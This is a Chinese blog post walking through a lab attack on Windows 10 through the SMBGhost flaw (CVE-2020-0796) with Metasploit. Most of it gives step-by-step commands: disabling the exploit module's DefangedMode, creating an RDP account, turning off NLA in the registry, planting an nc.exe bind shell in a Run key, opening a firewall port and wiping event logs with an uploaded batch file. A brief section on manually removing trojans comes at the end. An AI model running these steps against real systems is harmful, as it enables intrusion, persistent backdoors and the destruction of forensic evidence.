永恒之黑漏洞(cve-2020-0796)利用及后门维持权限

  永恒之黑漏洞(cve-2020-0796)利用及后门维持权限

实验环境

kali主机,攻击机,ip:192.168.1.53

目标主机,windows10 1903,ip:192.168.1.60

实验目标:1.扫描获取目标信息,确认攻击目标

  1. 通过漏洞渗透目标主机,获取权限
  2. 维持权限,在目标主机上植入后门,通过自启动、计划任务等手段自动下载、启动木马程序
  3. 清除日志,扫除入侵痕迹。
  4. 反黑:升级补丁,通过日志查找入侵凭证,查杀被植入的木马

目录

  使用永恒之黑漏洞对win10进行渗透 1

1.1扫描获取目标信息 1

1.1.1端口扫描 1

1.1.2服务识别 2

1.1.3漏洞查找 3

1.1.4 搜索MSF中对应模块 3

1.2利用MSF模块获取目标主机权限 4

1.2.1 加载模块 4

1.2.2 运行漏洞利用模块 5

1.3后渗透维持权限 7

1.3.1 远程桌面连接目标 7

1.3.2修改注册表启动项长久维持权限 10

1.3.3手动木马的查杀 16

1.1扫描获取目标信息

使用扫描工具nmap对目标进行扫描

1.1.1端口扫描

Kali主机对目标进行扫描

─# nmap -sS 192.168.1.15 192.168.1.60

都开放445端口,提供smb服务

1.1.2服务识别

进入msf框架,对目标主机的smb版本识别

加载SMB版本扫描模块

msf6 > use auxiliary/scanner/smb/smb_version

查看配置

msf6 auxiliary(scanner/smb/smb_version) > show options

配置参数

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.5 192.168.1.60

运行模块

msf6 auxiliary(scanner/smb/smb_version) > run

可以得到2个主机的smb版本都是SMB 3.1.1

1.1.3漏洞查找

根据smb服务的版本使用searchsploit软件搜索SMB 3.1.1对应版本存在的漏洞

└─# searchsploit SMB 3.1.1

SMB 3.1.1协议存在可以利用poc

选择第二个

Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation | windows/local/48267.txt

将poc利用文件复制到当前目录

└─# searchsploit -m 48267

打开文件48267.txt

└─# cat 48267.txt

得到SMB 3.1.1对应的漏洞为CVE-2020-0796

1.1.4 搜索MSF中对应模块

msf6 > search cve-2020-0796

MSF中存在CVE-2020-0796利用模块

1.2利用MSF模块获取目标主机权限

成功利用cve-2020-0796模块需要三个条件:

  1. Windows10 的版本号为1903或1909,并且没有打补丁KB4551762
  2. 445端口开启(网络共享开启)
  3. 网络模式为“专用”

1.2.1 加载模块

开启kali终端

msf6 > use exploit/windows/smb/cve_2020_0796_smbghost

配置参数

payload使用默认的

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.1.15 192.168.1.60

msf6 exploit(multi/handler) > set LHOST 192.168.1.53

msf6 exploit(multi/handler) > run

1.2.2 运行漏洞利用模块

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

没有完成渗透

提示:Disable the DefangedMode option to proceed.

要将DefangedMode设置为false

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set DefangedMode false

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

提示缺失文件

在另外终端将缺失文件解压到/usr/share/metasploit-framework/下

上传缺失文件包

└─# ll

解压到/usr/share/metasploit-framework/

└─# unzip external.zip -d /usr/share/metasploit-framework/

继续运行漏洞利用模块

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

对目标渗透成功,已经获取到system权限

1.3后渗透维持权限

后渗透的目的是长久保持对目标的权限,主要手段是植入后门

1.3.1 远程桌面连接目标

1.kali主机上使用enable-rdp模块创建目标主机rdp用户

把当前连接保存到后台不退出连接

meterpreter > background

进程已经保存到后台,session为1

  1. 加载后渗透模块enable_rdp

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > use post/windows/manage/enable_rdp

查看配置参数

msf6 post(windows/manage/enable_rdp) > show options

创建目标主机RDP用户test

msf6 post(windows/manage/enable_rdp) > set USERNAME test

目标主机RDP用户test的密码

msf6 post(windows/manage/enable_rdp) > set PASSWORD 123456

加载已经建立连接的进程号session为1

3.运行enable_rdp模块

msf6 post(windows/manage/enable_rdp) > run

远程创建rdp账号test,密码123456成功

4.查询目标主机NLA(网络级身份验证)是否开启

如果目标主机开启NLA,建立的RDP账号将不能通过RDP连接到目标主机

查询已经获取shell的session

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions

回到前期获取权限session

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions -i 2

通过查询目标机注册表来确定是否开启了 NLA。

meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer

meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication

根据查询结果 SecurityLayer(2 )和 UserAuthentication (1)的值,可以知道目标机开启了 NLA以上说明目标主机上的NLA(网络级身份验证)处在开启状态,不能够直接用rdp连接目标主机。

  1. 通过远程修改注册表关闭NLA

通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0,就可以关闭NLA。

meterpreter reg 指令参数:

reg -h # 查看帮助

-k #注册表的路径 -v 键的名称 -d 键值

reg enumkey [-k <key>] # 枚举注册表的内容

reg createkey [-k <key>] # 创建注册表项

reg deletekey [-k <key>] # 删除注册表项

reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容

reg deleteval [-k <key> -v <val>] # 删除注册表的值

reg queryval [-k <key> -v <val>] # 查询注册表的值

修改注册表将 SecurityLayer的值改为0

meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0

修改注册表将UserAuthentication 的值改为0

meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0

NLA关闭成功

  1. 另开终端建立rdp连接

└─# rdesktop 192.168.1.60 -u test -p 123456

远程桌面连接成功

1.3.2修改注册表启动项长久维持权限

直接利用漏洞获取目标权限不稳定,为长久的获取目标主机的权限,需要通过植入后门来实现。

实验过程中的木马因没有做过免杀,能够被windows的defender发现并杀掉,为保证试验成功,将C盘排除。

  1. 通过已获取的权限上传后门

后门可以是MSF生成的,甚至可以是勒索病毒。这里使用nc.exe作为后门

nc也被称为网络瑞士军刀,功能强大

nc 参数解释:

L 用户退出后重新进行端口侦听

d 后台运行

p 指定端口

-e 连接后执行的程序

在kali主机上利用已经获取的shell上传nc.exe

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

Nc.exe上传到c盘下windows/system32文件夹下

  1. 注册表添加启动项执行 nc 反弹 shell 命令

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

目标重启后将启动后门程序

3.修改防火墙允许 443 端口访问网络

运行shell,执行windows命令修改防火墙

meterpreter > shell

新建一个防火墙规则允许入栈访问443端口

C:\Windows\system32>netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow

4.自启动后门并连接

重启Windows 10

kali主机上新开一个终端

连接失败,原因用户账号没有登录

用户登录后

检查端口开放

7e9e8ae0649c69bee093c8717cfdc53

443端口处在监听状态

kali上重新连接

已经获得shell

小结:上传木马后让木马自动运行的方式:注册表自启动项、添加计划任务、注入到常用的exe文件等等

1.3.3删除windows日志

1.查看windows日志

Windows10的安全日志可以看到所有的登录和登录失败的记录,根据日志记录可以溯源和固定证据。入侵后一般要删除日志。

按下组合键win+r,然后输入’eventvwr.exe‘

登录信息都可以看到

2.删除日志

常用两种方法

一是在获取权限后直接使用meterpreter的删除日志命令

另外是利用专门编写的删除windows日志文件的批处理文件删除日志

打开日志删除文件查看里面的命令

└─# cat 日志删除.bat

上传日志删除批处理文件

因编码问题不能上传中文文件名的文件,改名

mv 日志删除.bat rizhishanchu.bat

上传日志删除文件

meterpreter > upload /root/rizhishanchu.bat c:\\windows\\system32

执行删除日志命令

meterpreter > execute -f c:\\windows\\system32\\rizhishanchu.bat

删除批处理文件

meterpreter > del c:\\windows\\system32\\rizhishanchu.bat

  1. 查看windows日志

1.3.4手动木马的查杀

手动查杀木马的思路:

端口----进程-----文件

  1. 检查可疑连接端口及进程

netstat -ano

发现连接外部ip4444端口的连接PID为2504的很可疑

2.查找进程对应的程序名称

tasklist |findstr 2504

3.进一步查找具体路径

wmic process where processid=2504 get processid,executablepath,name

4.杀木马进程

taskkill /PID 2504 /F

或者

ntsd -c q -p 2504

5.删除木马文件

Delete c:/windows/system32/muma.exe

posted @   人生几何几何  阅读(5061)  评论(8编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端
· AI Agent开发,如何调用三方的API Function,是通过提示词来发起调用的吗
点击右上角即可分享
微信分享提示